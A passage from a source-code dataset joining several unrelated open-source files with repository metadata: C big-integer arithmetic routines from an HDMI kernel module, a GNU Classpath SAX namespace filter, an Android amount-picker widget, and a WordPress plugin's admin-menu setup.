normalised u[], unnormalise v[] at end, and cope with
extra digit Uj+n added to u after normalisation.
WARNING: this trashes q and r first, so cannot do
u = u / v or v = u mod v.
It also changes v temporarily so cannot make it const.
*/
size_t shift;
int n, m, j;
u32 bitmask, overflow;
u32 qhat, rhat, t[2];
u32 *uu, *ww;
int qhatOK, cmp;
/* Clear q and r */
mpSetZero(q, udigits);
mpSetZero(r, udigits);
/* Work out exact sizes of u and v */
n = (int)mpSizeof(v, vdigits);
m = (int)mpSizeof(u, udigits);
m -= n;
/* Catch special cases */
if (n == 0)
return -1; /* Error: divide by zero */
if (n == 1)
{ /* Use short division instead */
r[0] = mpShortDiv(q, u, v[0], udigits);
return 0;
}
if (m < 0)
{ /* v > u, so just set q = 0 and r = u */
mpSetEqual(r, u, udigits);
return 0;
}
if (m == 0)
{ /* u and v are the same length */
cmp = mpCompare(u, v, (size_t)n);
if (cmp < 0)
{ /* v > u, as above */
mpSetEqual(r, u, udigits);
return 0;
}
else if (cmp == 0)
{ /* v == u, so set q = 1 and r = 0 */
mpSetDigit(q, 1, udigits);
return 0;
}
}
/* In Knuth notation, we have:
Given
u = (Um+n-1 ... U1U0)
v = (Vn-1 ... V1V0)
Compute
q = u/v = (QmQm-1 ... Q0)
r = u mod v = (Rn-1 ... R1R0)
*/
/* Step D1. Normalise */
/* Requires high bit of Vn-1
to be set, so find most signif. bit then shift left,
i.e. d = 2^shift, u' = u * d, v' = v * d.
*/
bitmask = HIBITMASK;
for (shift = 0; shift < BITS_PER_DIGIT; shift++)
{
if (v[n-1] & bitmask)
break;
bitmask >>= 1;
}
/* Normalise v in situ - NB only shift non-zero digits */
overflow = mpShiftLeft(v, v, shift, n);
/* Copy normalised dividend u*d into r */
overflow = mpShiftLeft(r, u, shift, n + m);
uu = r; /* Use ptr to keep notation constant */
t[0] = overflow; /* Extra digit Um+n */
/* Step D2. Initialise j. Set j = m */
for (j = m; j >= 0; j--)
{
/* Step D3. Set Qhat = [(b.Uj+n + Uj+n-1)/Vn-1]
and Rhat = remainder */
qhatOK = 0;
t[1] = t[0]; /* This is Uj+n */
t[0] = uu[j+n-1];
overflow = spDivide(&qhat, &rhat, t, v[n-1]);
/* Test Qhat */
if (overflow)
{ /* Qhat == b so set Qhat = b - 1 */
qhat = MAX_DIGIT;
rhat = uu[j+n-1];
rhat += v[n-1];
if (rhat < v[n-1]) /* Rhat >= b, so no re-test */
qhatOK = 1;
}
/* [VERSION 2: Added extra test "qhat && "] */
if (qhat && !qhatOK && QhatTooBig(qhat, rhat, v[n-2], uu[j+n-2]))
{ /* If Qhat.Vn-2 > b.Rhat + Uj+n-2
decrease Qhat by one, increase Rhat by Vn-1
*/
qhat--;
rhat += v[n-1];
/* Repeat this test if Rhat < b */
if (!(rhat < v[n-1]))
if (QhatTooBig(qhat, rhat, v[n-2], uu[j+n-2]))
qhat--;
}
/* Step D4. Multiply and subtract */
ww = &uu[j];
overflow = mpMultSub(t[1], ww, v, qhat, (size_t)n);
/* Step D5. Test remainder. Set Qj = Qhat */
q[j] = qhat;
if (overflow)
{ /* Step D6. Add back if D4 was negative */
q[j]--;
overflow = mpAdd(ww, ww, v, (size_t)n);
}
t[0] = uu[j+n-1]; /* Uj+n on next round */
} /* Step D7. Loop on j */
/* Clear high digits in uu */
for (j = n; j < m+n; j++)
uu[j] = 0;
/* Step D8. Unnormalise. */
mpShiftRight(r, r, shift, n);
mpShiftRight(v, v, shift, n);
return 0;
}
int mpSquare(u32 w[], const u32 x[], size_t ndigits)
/* New in Version 2.0 */
{
/* Computes square w = x * x
where x is a multiprecision integer of ndigits
and w is a multiprecision integer of 2*ndigits
Ref: Menezes p596 Algorithm 14.16 with errata.
*/
u32 k, p[2], u[2], cbit, carry;
size_t i, j, t, i2, cpos;
assert(w != x);
t = ndigits;
/* 1. For i from 0 to (2t-1) do: w_i = 0 */
i2 = t << 1;
for (i = 0; i < i2; i++)
w[i] = 0;
carry = 0;
cpos = i2-1;
/* 2. For i from 0 to (t-1) do: */
for (i = 0; i < t; i++)
{
/* 2.1 (uv) = w_2i + x_i * x_i, w_2i = v, c = u
Careful, w_2i may be double-prec
*/
i2 = i << 1; /* 2*i */
spMultiply(p, x[i], x[i]);
p[0] += w[i2];
if (p[0] < w[i2])
p[1]++;
k = 0; /* p[1] < b, so no overflow here */
if (i2 == cpos && carry)
{
p[1] += carry;
if (p[1] < carry)
k++;
carry = 0;
}
w[i2] = p[0];
u[0] = p[1];
u[1] = k;
/* 2.2 for j from (i+1) to (t-1) do:
(uv) = w_{i+j} + 2x_j * x_i + c,
w_{i+j} = v, c = u,
u is double-prec
w_{i+j} is dbl if [i+j] == cpos
*/
k = 0;
for (j = i+1; j < t; j++)
{
/* p = x_j * x_i */
spMultiply(p, x[j], x[i]);
/* p = 2p <=> p <<= 1 */
cbit = (p[0] & HIBITMASK) != 0;
k = (p[1] & HIBITMASK) != 0;
p[0] <<= 1;
p[1] <<= 1;
p[1] |= cbit;
/* p = p + c */
p[0] += u[0];
if (p[0] < u[0])
{
p[1]++;
if (p[1] == 0)
k++;
}
p[1] += u[1];
if (p[1] < u[1])
k++;
/* p = p + w_{i+j} */
p[0] += w[i+j];
if (p[0] < w[i+j])
{
p[1]++;
if (p[1] == 0)
k++;
}
if ((i+j) == cpos && carry)
{ /* catch overflow from last round */
p[1] += carry;
if (p[1] < carry)
k++;
carry = 0;
}
/* w_{i+j} = v, c = u */
w[i+j] = p[0];
u[0] = p[1];
u[1] = k;
}
/* 2.3 w_{i+t} = u */
w[i+t] = u[0];
/* remember overflow in w_{i+t} */
carry = u[1];
cpos = i+t;
}
/* (NB original step 3 deleted in Menezes errata) */
/* Return w */
return 0;
}
/** Returns sign of (a - b) as 0, +1 or -1 (constant-time) */
int mpCompare(const u32 a[], const u32 b[], size_t ndigits)
{
/* All these vars are either 0 or 1 */
unsigned int gt = 0;
unsigned int lt = 0;
unsigned int mask = 1; /* Set to zero once first inequality found */
unsigned int c;
while (ndigits--) {
gt |= (a[ndigits] > b[ndigits]) & mask;
lt |= (a[ndigits] < b[ndigits]) & mask;
c = (gt | lt);
mask &= (c-1); /* Unchanged if c==0 or mask==0, else mask=0 */
}
return (int)gt - (int)lt; /* EQ=0 GT=+1 LT=-1 */
}
/** Returns number of significant digits in a */
size_t mpSizeof(const u32 a[], size_t ndigits)
{
while(ndigits--)
{
if (a[ndigits] != 0)
return (++ndigits);
}
return 0;
}
size_t mpBitLength(const u32 d[], size_t ndigits)
/* Returns no of significant bits in d */
{
size_t n, i, bits;
u32 mask;
if (!d || ndigits == 0)
return 0;
n = mpSizeof(d, ndigits);
if (0 == n) return 0;
for (i = 0, mask = HIBITMASK; mask > 0; mask >>= 1, i++)
{
if (d[n-1] & mask)
break;
}
bits = n * BITS_PER_DIGIT - i;
return bits;
}
void mpSetEqual(u32 a[], const u32 b[], size_t ndigits)
{ /* Sets a = b */
size_t i;
for (i = 0; i < ndigits; i++)
{
a[i] = b[i];
}
}
volatile u32 mpSetZero(volatile u32 a[], size_t ndigits)
{ /* Sets a = 0 */
/* Prevent optimiser ignoring this */
volatile u32 optdummy;
volatile u32 *p = a;
while (ndigits--)
a[ndigits] = 0;
optdummy = *p;
return optdummy;
}
int mpGetBit(u32 a[], size_t ndigits, size_t ibit)
/* Returns value 1 or 0 of bit n (0..nbits-1); or -1 if out of range */
{
size_t idigit, bit_to_get;
u32 mask;
/* Which digit? (0-based) */
idigit = ibit / BITS_PER_DIGIT;
if (idigit >= ndigits)
return -1;
/* Set mask */
bit_to_get = ibit % BITS_PER_DIGIT;
mask = 0x01 << bit_to_get;
return ((a[idigit] & mask) ? 1 : 0);
}
void mpSetDigit(u32 a[], u32 d, size_t ndigits)
{ /* Sets a = d where d is a single digit */
size_t i;
for (i = 1; i < ndigits; i++)
{
a[i] = 0;
}
a[0] = d;
}
u32 mpShiftLeft(u32 a[], const u32 *b,
size_t shift, size_t ndigits)
{ /* Computes a = b << shift */
/* [v2.1] Modified to cope with shift > BITS_PERDIGIT */
size_t i, y, nw, bits;
u32 mask, carry, nextcarry;
/* Do we shift whole digits? */
if (shift >= BITS_PER_DIGIT)
{
nw = shift / BITS_PER_DIGIT;
i = ndigits;
while (i--)
{
if (i >= nw)
a[i] = b[i-nw];
else
a[i] = 0;
}
/* Call again to shift bits inside digits */
bits = shift % BITS_PER_DIGIT;
carry = b[ndigits-nw] << bits;
if (bits)
carry |= mpShiftLeft(a, a, bits, ndigits);
return carry;
}
else
{
bits = shift;
}
/* Construct mask = high bits set */
mask = ~(~(u32)0 >> bits);
y = BITS_PER_DIGIT - bits;
carry = 0;
for (i = 0; i < ndigits; i++)
{
nextcarry = (b[i] & mask) >> y;
a[i] = b[i] << bits | carry;
carry = nextcarry;
}
return carry;
}
u32 mpShiftRight(u32 a[], const u32 b[], size_t shift, size_t ndigits)
{ /* Computes a = b >> shift */
/* [v2.1] Modified to cope with shift > BITS_PERDIGIT */
size_t i, y, nw, bits;
u32 mask, carry, nextcarry;
/* Do we shift whole digits? */
if (shift >= BITS_PER_DIGIT)
{
nw = shift / BITS_PER_DIGIT;
for (i = 0; i < ndigits; i++)
{
if ((i+nw) < ndigits)
a[i] = b[i+nw];
else
a[i] = 0;
}
/* Call again to shift bits inside digits */
bits = shift % BITS_PER_DIGIT;
carry = b[nw-1] >> bits;
if (bits)
carry |= mpShiftRight(a, a, bits, ndigits);
return carry;
}
else
{
bits = shift;
}
/* Construct mask to set low bits */
/* (thanks to Jesse Chisholm for suggesting this improved technique) */
mask = ~(~(u32)0 << bits);
y = BITS_PER_DIGIT - bits;
carry = 0;
i = ndigits;
while (i--)
{
nextcarry = (b[i] & mask) << y;
a[i] = b[i] >> bits | carry;
carry = nextcarry;
}
return carry;
}
u32 mpShortDiv(u32 q[], const u32 u[], u32 v,
size_t ndigits)
{
/* Calculates quotient q = u div v
Returns remainder r = u mod v
where q, u are multiprecision integers of ndigits each
and r, v are single precision digits.
Makes no assumptions about normalisation.
Ref: Knuth Vol 2 Ch 4.3.1 Exercise 16 p625
*/
size_t j;
u32 t[2], r;
size_t shift;
u32 bitmask, overflow, *uu;
if (ndigits == 0) return 0;
if (v == 0) return 0; /* Divide by zero error */
/* Normalise first */
/* Requires high bit of V
to be set, so find most signif. bit then shift left,
i.e. d = 2^shift, u' = u * d, v' = v * d.
*/
bitmask = HIBITMASK;
for (shift = 0; shift < BITS_PER_DIGIT; shift++)
{
if (v & bitmask)
break;
bitmask >>= 1;
}
v <<= shift;
overflow = mpShiftLeft(q, u, shift, ndigits);
uu = q;
/* Step S1 - modified for extra digit. */
r = overflow; /* New digit Un */
j = ndigits;
while (j--)
{
/* Step S2. */
t[1] = r;
t[0] = uu[j];
overflow = spDivide(&q[j], &r, t, v);
}
/* Unnormalise */
r >>= shift;
return r;
}
/** Returns sign of (a - d) where d is a single digit */
int mpShortCmp(const u32 a[], u32 d, size_t ndigits)
{
size_t i;
int gt = 0;
int lt = 0;
/* Zero-length a => a is zero */
if (ndigits == 0) return (d ? -1 : 0);
/* If |a| > 1 then a > d */
for (i = 1; i < ndigits; i++) {
if (a[i] != 0)
return 1; /* GT */
}
lt = (a[0] < d);
gt = (a[0] > d);
return gt - lt; /* EQ=0 GT=+1 LT=-1 */
}
int mpModulo(u32 r[], const u32 u[], size_t udigits,
u32 v[], size_t vdigits)
{
/* Computes r = u mod v
where r, v are multiprecision integers of length vdigits
and u is a multiprecision integer of length udigits.
r may overlap v.
Note that r here is only vdigits long,
whereas in mpDivide it is udigits long.
Use remainder from mpDivide function.
*/
u32 *qq, *rr;
size_t nn = max(udigits, vdigits);
qq = kzalloc(udigits * sizeof(u32), GFP_KERNEL);
BUG_ON(!qq);
rr = kzalloc(nn * sizeof(u32), GFP_KERNEL);
BUG_ON(!rr);
/* rr[nn] = u mod v */
mpDivide(qq, rr, u, udigits, v, vdigits);
/* Final r is only vdigits long */
mpSetEqual(r, rr, vdigits);
kzfree(rr);
kzfree(qq);
return 0;
}
int mpModMult(u32 a[], const u32 x[], const u32 y[],
u32 m[], size_t ndigits)
{ /* Computes a = (x * y) mod m */
/* Double-length temp variable p */
u32 *p;
p = kzalloc(ndigits * 2 * sizeof(u32), GFP_KERNEL);
BUG_ON(!p);
/* Calc p[2n] = x * y */
mpMultiply(p, x, y, ndigits);
/* Then modulo (NOTE: a is OK at only ndigits long) */
mpModulo(a, p, ndigits * 2, m, ndigits);
kzfree(p);
return 0;
}
int mpModInv(u32 inv[], const u32 u[], const u32 v[], size_t ndigits)
{ /* Computes inv = u^(-1) mod v */
/* Ref: Knuth Algorithm X Vol 2 p 342
ignoring u2, v2, t2
and avoiding negative numbers.
Returns non-zero if inverse undefined.
*/
int bIterations;
int result;
/* 1 * ndigits each, except w = 2 * ndigits */
u32 *u1, *u3, *v1, *v3, *t1, *t3, *q, *w;
/* allocate 9 * ndigits */
u1 = kzalloc(9 * ndigits * sizeof(u32), GFP_KERNEL);
BUG_ON(!u1);
u3 = &u1[1 * ndigits];
v1 = &u1[2 * ndigits];
v3 = &u1[3 * ndigits];
t1 = &u1[4 * ndigits];
t3 = &u1[5 * ndigits];
q = &u1[6 * ndigits];
/* 2 * ndigits each */
w = &u1[7 * ndigits];
/* Step X1. Initialise */
mpSetDigit(u1, 1, ndigits); /* u1 = 1 */
mpSetEqual(u3, u, ndigits); /* u3 = u */
mpSetZero(v1, ndigits); /* v1 = 0 */
mpSetEqual(v3, v, ndigits); /* v3 = v */
bIterations = 1; /* Remember odd/even iterations */
while (!mpIsZero(v3, ndigits)) /* Step X2. Loop while v3 != 0 */
{ /* Step X3. Divide and "Subtract" */
mpDivide(q, t3, u3, ndigits, v3, ndigits);
/* q = u3 / v3, t3 = u3 % v3 */
mpMultiply(w, q, v1, ndigits); /* w = q * v1 */
mpAdd(t1, u1, w, ndigits); /* t1 = u1 + w */
/* Swap u1 = v1; v1 = t1; u3 = v3; v3 = t3 */
mpSetEqual(u1, v1, ndigits);
mpSetEqual(v1, t1, ndigits);
mpSetEqual(u3, v3, ndigits);
mpSetEqual(v3, t3, ndigits);
bIterations = -bIterations;
}
if (bIterations < 0)
mpSubtract(inv, v, u1, ndigits); /* inv = v - u1 */
else
mpSetEqual(inv, u1, ndigits); /* inv = u1 */
/* Make sure u3 = gcd(u,v) == 1 */
if (mpShortCmp(u3, 1, ndigits) != 0)
{
result = 1;
mpSetZero(inv, ndigits);
}
else
result = 0;
/* Clear up */
kzfree(u1);
return result;
}
size_t mpConvFromOctets(u32 a[], size_t ndigits, const unsigned char *c, size_t nbytes)
/* Converts nbytes octets into big digit a of max size ndigits
Returns actual number of digits set (may be larger than mpSizeof)
*/
{
size_t i;
int j, k;
u32 t;
mpSetZero(a, ndigits);
/* Read in octets, least significant first */
/* i counts into big_d, j along c, and k is # bits to shift */
for (i = 0, j = (int)nbytes - 1; i < ndigits && j >= 0; i++)
{
t = 0;
for (k = 0; j >= 0 && k < BITS_PER_DIGIT; j--, k += 8)
t |= ((u32)c[j]) << k;
a[i] = t;
}
return i;
}
size_t mpConvToOctets(const u32 a[], size_t ndigits, unsigned char *c, size_t nbytes)
/* Convert big digit a into string of octets, in big-endian order,
padding on the left to nbytes or truncating if necessary.
Return number of octets required excluding leading zero bytes.
*/
{
int j, k, len;
u32 t;
size_t i, noctets, nbits;
nbits = mpBitLength(a, ndigits);
noctets = (nbits + 7) / 8;
len = (int)nbytes;
for (i = 0, j = len - 1; i < ndigits && j >= 0; i++)
{
t = a[i];
for (k = 0; j >= 0 && k < BITS_PER_DIGIT; j--, k += 8)
c[j] = (unsigned char)(t >> k);
}
for ( ; j >= 0; j--)
c[j] = 0;
return (size_t)noctets;
}
/* MACROS TO DO MODULAR SQUARING AND MULTIPLICATION USING PRE-ALLOCATED TEMPS */
/* Required lengths |y|=|t1|=|t2|=2*n, |m|=n; but final |y|=n */
/* Square: y = (y * y) mod m */
#define mpMODSQUARETEMP(y,m,n,t1,t2) do{mpSquare(t1,y,n);mpDivide(t2,y,t1,n*2,m,n);}while(0)
/* Mult: y = (y * x) mod m */
#define mpMODMULTTEMP(y,x,m,n,t1,t2) do{mpMultiply(t1,x,y,n);mpDivide(t2,y,t1,n*2,m,n);}while(0)
/* Mult: w = (y * x) mod m */
#define mpMODMULTXYTEMP(w,y,x,m,n,t1,t2) do{mpMultiply(t1,x,y,(n));mpDivide(t2,w,t1,(n)*2,m,(n));}while(0)
#define mpNEXTBITMASK(mask, n) do{if(mask==1){mask=HIBITMASK;n--;}else{mask>>=1;}}while(0)
int mpModExp(u32 yout[], const u32 x[], const u32 e[], u32 m[], size_t ndigits)
{ /* Computes y = x^e mod m */
/* "Classic" binary left-to-right method */
/* [v2.2] removed const restriction on m[] to avoid using an extra alloc'd var
(m is changed in-situ during the divide operation then restored) */
u32 mask;
size_t n;
size_t nn = ndigits * 2;
/* Create some double-length temps */
u32 *t1, *t2, *y;
t1 = kzalloc(nn * 3 * sizeof(u32), GFP_KERNEL);
t2 = &t1[nn * 1];
y = &t1[nn * 2];
assert(ndigits != 0);
n = mpSizeof(e, ndigits);
/* Catch e==0 => x^0=1 */
if (0 == n)
{
mpSetDigit(yout, 1, ndigits);
goto done;
}
/* Find second-most significant bit in e */
for (mask = HIBITMASK; mask > 0; mask >>= 1)
{
if (e[n-1] & mask)
break;
}
mpNEXTBITMASK(mask, n);
/* Set y = x */
mpSetEqual(y, x, ndigits);
/* For bit j = k-2 downto 0 */
while (n)
{
/* Square y = y * y mod n */
mpMODSQUARETEMP(y, m, ndigits, t1, t2);
if (e[n-1] & mask)
{ /* if e(j) == 1 then multiply
y = y * x mod n */
mpMODMULTTEMP(y, x, m, ndigits, t1, t2);
}
/* Move to next bit */
mpNEXTBITMASK(mask, n);
}
/* Return y */
mpSetEqual(yout, y, ndigits);
done:
kzfree(t1);
return 0;
}
|
likewise/hdmi-modules
|
hdmi/phy-xilinx-vphy/bigdigits.c
|
C
|
gpl-2.0
| 22,994 |
/* NSFilter.java --
Copyright (C) 1999,2000,2001 Free Software Foundation, Inc.
This file is part of GNU Classpath.
GNU Classpath is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
GNU Classpath is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU Classpath; see the file COPYING. If not, write to the
Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307 USA.
Linking this library statically or dynamically with other modules is
making a combined work based on this library. Thus, the terms and
conditions of the GNU General Public License cover the whole
combination.
As a special exception, the copyright holders of this library give you
permission to link this library with independent modules to produce an
executable, regardless of the license terms of these independent
modules, and to copy and distribute the resulting executable under
terms of your choice, provided that you also meet, for each linked
independent module, the terms and conditions of the license of that
module. An independent module is a module which is not derived from
or based on this library. If you modify this library, you may extend
this exception to your version of the library, but you are not
obligated to do so. If you do not wish to do so, delete this
exception statement from your version. */
package gnu.xml.pipeline;
import java.util.Enumeration;
import java.util.Stack;
import org.xml.sax.Attributes;
import org.xml.sax.ErrorHandler;
import org.xml.sax.Locator;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
import org.xml.sax.helpers.AttributesImpl;
import org.xml.sax.helpers.NamespaceSupport;
/**
* This filter ensures that element and attribute names are properly prefixed,
* and that such prefixes are declared. Such data is critical for operations
* like writing XML text, and validating against DTDs: names or their prefixes
* may have been discarded, although they are essential to the exchange of
* information using XML. There are various common ways that such data
* gets discarded: <ul>
*
* <li> By default, SAX2 parsers must discard the "xmlns*"
* attributes, and may also choose not to report properly prefixed
* names for elements or attributes. (Some parsers may support
* changing the <em>namespace-prefixes</em> value from the default
* to <em>true</em>, effectively eliminating the need to use this
* filter on their output.)
*
* <li> When event streams are generated from a DOM tree, they may
* have never have had prefixes or declarations for namespaces; or
* the existing prefixes or declarations may have been invalidated
* by structural modifications to that DOM tree.
*
* <li> Other software writing SAX event streams won't necessarily
* be worrying about prefix management, and so they will need to
* have a transparent solution for managing them.
*
* </ul>
*
* <p> This filter uses a heuristic to choose the prefix to assign to any
* particular name which wasn't already corectly prefixed. The associated
* namespace will be correct, and the prefix will be declared. Original
* structures facilitating text editing, such as conventions about use of
* mnemonic prefix names or the scoping of prefixes, can't always be
* reconstructed after they are discarded, as strongly encouraged by the
* current SAX2 defaults.
*
* <p> Note that this can't possibly know whether values inside attribute
* value or document content involve prefixed names. If your application
* requires using prefixed names in such locations you'll need to add some
* appropriate logic (perhaps adding additional heuristics in a subclass).
*
* @author David Brownell
*/
public class NSFilter extends EventFilter
{
private NamespaceSupport nsStack = new NamespaceSupport ();
private Stack elementStack = new Stack ();
private boolean pushedContext;
private String nsTemp [] = new String [3];
private AttributesImpl attributes = new AttributesImpl ();
private boolean usedDefault;
// gensymmed prefixes use this root name
private static final String prefixRoot = "prefix-";
/**
* Passes events through to the specified consumer, after first
* processing them.
*
* @param next the next event consumer to receive events.
*/
// constructor used by PipelineFactory
public NSFilter (EventConsumer next)
{
super (next);
setContentHandler (this);
}
private void fatalError (String message)
throws SAXException
{
SAXParseException e;
ErrorHandler handler = getErrorHandler ();
Locator locator = getDocumentLocator ();
if (locator == null)
e = new SAXParseException (message, null, null, -1, -1);
else
e = new SAXParseException (message, locator);
if (handler != null)
handler.fatalError (e);
throw e;
}
public void startDocument () throws SAXException
{
elementStack.removeAllElements ();
nsStack.reset ();
pushedContext = false;
super.startDocument ();
}
/**
* This call is not passed to the next consumer in the chain.
* Prefix declarations and scopes are only exposed in the form
* of attributes; this callback just records a declaration that
* will be exposed as an attribute.
*/
public void startPrefixMapping (String prefix, String uri)
throws SAXException
{
if (pushedContext == false) {
nsStack.pushContext ();
pushedContext = true;
}
// this check is awkward, but the paranoia prevents big trouble
for (Enumeration e = nsStack.getDeclaredPrefixes ();
e.hasMoreElements ();
/* NOP */ ) {
String declared = (String) e.nextElement ();
if (!declared.equals (prefix))
continue;
if (uri.equals (nsStack.getURI (prefix)))
return;
fatalError ("inconsistent binding for prefix '" + prefix
+ "' ... " + uri + " (was " + nsStack.getURI (prefix) + ")");
}
if (!nsStack.declarePrefix (prefix, uri))
fatalError ("illegal prefix declared: " + prefix);
}
private String fixName (String ns, String l, String name, boolean isAttr)
throws SAXException
{
if ("".equals (name) || name == null) {
name = l;
if ("".equals (name) || name == null)
fatalError ("empty/null name");
}
// can we correctly process the name as-is?
// handles "element scope" attribute names here.
if (nsStack.processName (name, nsTemp, isAttr) != null
&& nsTemp [0].equals (ns)
) {
return nsTemp [2];
}
// nope, gotta modify the name or declare a default mapping
int temp;
// get rid of any current prefix
if ((temp = name.indexOf (':')) >= 0) {
name = name.substring (temp + 1);
// ... maybe that's enough (use/prefer default namespace) ...
if (!isAttr && nsStack.processName (name, nsTemp, false) != null
&& nsTemp [0].equals (ns)
) {
return nsTemp [2];
}
}
// must we define and use the default/undefined prefix?
if ("".equals (ns)) {
if (isAttr)
fatalError ("processName bug");
if (attributes.getIndex ("xmlns") != -1)
fatalError ("need to undefine default NS, but it's bound: "
+ attributes.getValue ("xmlns"));
nsStack.declarePrefix ("", "");
attributes.addAttribute ("", "", "xmlns", "CDATA", "");
return name;
}
// is there at least one non-null prefix we can use?
for (Enumeration e = nsStack.getDeclaredPrefixes ();
e.hasMoreElements ();
/* NOP */) {
String prefix = (String) e.nextElement ();
String uri = nsStack.getURI (prefix);
if (uri == null || !uri.equals (ns))
continue;
return prefix + ":" + name;
}
// no such luck. create a prefix name, declare it, use it.
for (temp = 0; temp >= 0; temp++) {
String prefix = prefixRoot + temp;
if (nsStack.getURI (prefix) == null) {
nsStack.declarePrefix (prefix, ns);
attributes.addAttribute ("", "", "xmlns:" + prefix,
"CDATA", ns);
return prefix + ":" + name;
}
}
fatalError ("too many prefixes genned");
// NOTREACHED
return null;
}
public void startElement (
String uri, String localName,
String qName, Attributes atts
) throws SAXException
{
if (!pushedContext)
nsStack.pushContext ();
pushedContext = false;
// make sure we have all NS declarations handy before we start
int length = atts.getLength ();
for (int i = 0; i < length; i++) {
String aName = atts.getQName (i);
if (!aName.startsWith ("xmlns"))
continue;
String prefix;
if ("xmlns".equals (aName))
prefix = "";
else if (aName.indexOf (':') == 5)
prefix = aName.substring (6);
else // "xmlnsfoo" etc.
continue;
startPrefixMapping (prefix, atts.getValue (i));
}
// put namespace decls at the start of our regenned attlist
attributes.clear ();
for (Enumeration e = nsStack.getDeclaredPrefixes ();
e.hasMoreElements ();
/* NOP */) {
String prefix = (String) e.nextElement ();
attributes.addAttribute ("", "",
("".equals (prefix)
? "xmlns"
: "xmlns:" + prefix),
"CDATA",
nsStack.getURI (prefix));
}
// name fixups: element, then attributes.
// fixName may declare a new prefix or, for the element,
// redeclare the default (if element name needs it).
qName = fixName (uri, localName, qName, false);
for (int i = 0; i < length; i++) {
String aName = atts.getQName (i);
String aNS = atts.getURI (i);
String aLocal = atts.getLocalName (i);
String aType = atts.getType (i);
String aValue = atts.getValue (i);
if (aName.startsWith ("xmlns"))
continue;
aName = fixName (aNS, aLocal, aName, true);
attributes.addAttribute (aNS, aLocal, aName, aType, aValue);
}
elementStack.push (qName);
// pass event along, with cleaned-up names and decls.
super.startElement (uri, localName, qName, attributes);
}
public void endElement (String uri, String localName, String qName)
throws SAXException
{
nsStack.popContext ();
qName = (String) elementStack.pop ();
super.endElement (uri, localName, qName);
}
/**
* This call is not passed to the next consumer in the chain.
* Prefix declarations and scopes are only exposed in their
* attribute form.
*/
public void endPrefixMapping (String prefix)
throws SAXException
{ }
public void endDocument () throws SAXException
{
elementStack.removeAllElements ();
nsStack.reset ();
super.endDocument ();
}
}
|
unofficial-opensource-apple/gcc_40
|
libjava/gnu/xml/pipeline/NSFilter.java
|
Java
|
gpl-2.0
| 10,808 |
/*******************************************************************************
* Copyright (c) 2010 Denis Solonenko.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the GNU Public License v2.0
* which accompanies this distribution, and is available at
* http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
*
* Contributors:
* Denis Solonenko - initial API and implementation
******************************************************************************/
package ru.orangesoftware.financisto.widget;
import java.math.BigDecimal;
import ru.orangesoftware.financisto.R;
import android.content.Context;
import android.view.Gravity;
import android.widget.LinearLayout;
import android.widget.TextView;
public class AmountPicker extends LinearLayout implements NumberPicker.OnChangedListener {
public interface OnChangedListener {
void onChanged(AmountPicker picker, BigDecimal oldVal, BigDecimal newVal);
}
private final NumberPicker[] integers;
private final NumberPicker[] fractions;
private OnChangedListener mListener;
private BigDecimal mCurrent;
private BigDecimal mPrevious;
public AmountPicker(Context context, int decimals) {
super(context);
integers = new NumberPicker[Math.max(0, 5-decimals)];
fractions = new NumberPicker[decimals];
int totalWidth = 6*getResources().getDimensionPixelSize(R.dimen.amount_picker_width);
int total = integers.length + fractions.length;
int pickerWidth = totalWidth/total;
setOrientation(HORIZONTAL);
LinearLayout.LayoutParams lpFixedWrap = new LinearLayout.LayoutParams(pickerWidth, LayoutParams.WRAP_CONTENT);
LinearLayout.LayoutParams lpWrapFill = new LinearLayout.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.FILL_PARENT);
addPickers(context, lpFixedWrap, integers);
if (decimals > 0) {
TextView dotText = new TextView(context);
dotText.setText(".");
dotText.setGravity(Gravity.BOTTOM);
dotText.setTextSize(pickerWidth/2);
addView(dotText, lpWrapFill);
addPickers(context, lpFixedWrap, fractions);
}
}
private void addPickers(Context context, LayoutParams layoutParams,
NumberPicker[] pickers) {
for (int i=0; i<pickers.length; i++) {
pickers[i] = new NumberPicker(context);
pickers[i].setRange(0, 9);
pickers[i].setOnChangeListener(this);
addView(pickers[i], layoutParams);
}
}
public void setOnChangeListener(OnChangedListener listener) {
mListener = listener;
}
private void notifyChange() {
if (mListener != null) {
mListener.onChanged(this, mPrevious, mCurrent);
}
}
@Override
public void onChanged(NumberPicker picker, int oldVal, int newVal) {
StringBuilder sb = new StringBuilder();
appendPickers(sb, integers);
sb.append(".");
appendPickers(sb, fractions);
BigDecimal v = new BigDecimal(sb.toString());
mPrevious = mCurrent;
mCurrent = v.setScale(2);
notifyChange();
}
private void appendPickers(StringBuilder sb, NumberPicker[] pickers) {
int len = pickers.length;
for (int i=0; i<len; i++) {
sb.append(pickers[i].getCurrent());
}
}
public BigDecimal getCurrent() {
return mCurrent != null ? mCurrent : BigDecimal.ZERO;
}
public void setCurrent(BigDecimal newVal) {
int unscaled = newVal.unscaledValue().intValue();
setPickers(integers, unscaled/100);
setPickers(fractions, unscaled-100*(unscaled/100));
mPrevious = mCurrent;
mCurrent = newVal;
notifyChange();
}
private int setPickers(NumberPicker[] pickers, int val) {
int v;
int len = pickers.length;
for (int i=len-1; i>=0; i--) {
v = val/10;
pickers[i].setCurrent(val-v*10);
val = v;
}
return val;
}
}
|
sdubinsky/financisto-bzr
|
src/ru/orangesoftware/financisto/widget/AmountPicker.java
|
Java
|
gpl-2.0
| 4,061 |
<?php
$level = $this->options_main['editor'] ? 7 : 10;
add_menu_page('Newsletter Pro', 'Newsletter Pro', $level, 'newsletter-pro/intro.php', '', '');
add_submenu_page('newsletter-pro/intro.php', 'User Guide', 'User Guide', $level, 'newsletter-pro/intro.php');
add_submenu_page('newsletter-pro/intro.php', 'Main Configuration', 'Main Configuration', $level, 'newsletter-pro/main.php');
add_submenu_page('newsletter-pro/intro.php', 'Subscription Process', 'Subscription Process', $level, 'newsletter-pro/options.php');
add_submenu_page('newsletter-pro/intro.php', 'Subscription Form', 'Subscription Form', $level, 'newsletter-pro/profile.php');
